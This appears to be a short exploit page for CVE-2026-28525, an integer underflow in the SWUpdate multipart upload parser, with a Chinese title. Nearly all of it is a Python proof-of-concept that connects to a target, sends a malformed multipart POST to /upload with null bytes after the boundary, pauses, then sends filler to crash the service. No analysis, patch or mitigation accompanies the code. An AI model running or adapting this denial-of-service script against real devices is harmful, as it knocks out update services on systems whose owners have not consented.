CVE-2026-28525: SWUpdate整数下溢漏洞

import socket import time def trigger_dos(): """ PoC for CVE-2026-28525: Integer Underflow in SWUpdate Multipart Parser Sends a malformed HTTP POST request to /upload with specific boundary timing. """ TARGET_HOST = "127.0.0.1" TARGET_PORT = 8080 try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) boundary = "----WebKitFormBoundary" payload = ( f"POST /upload HTTP/1.1\r\n" f"Host: {TARGET_HOST}\r\n" f"Content-Type: multipart/form-data; boundary={boundary}\r\n" f"Content-Length: 1024\r\n" f"\r\n" ) s.send(payload.encode()) # Send malformed part with timing control malicious_chunk = b"--" + boundary.encode() + b"\x00\x00" s.send(malicious_chunk) time.sleep(0.5) # Send remainder to trigger underflow s.send(b"A" * 100) print("Payload sent.") s.close() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": trigger_dos()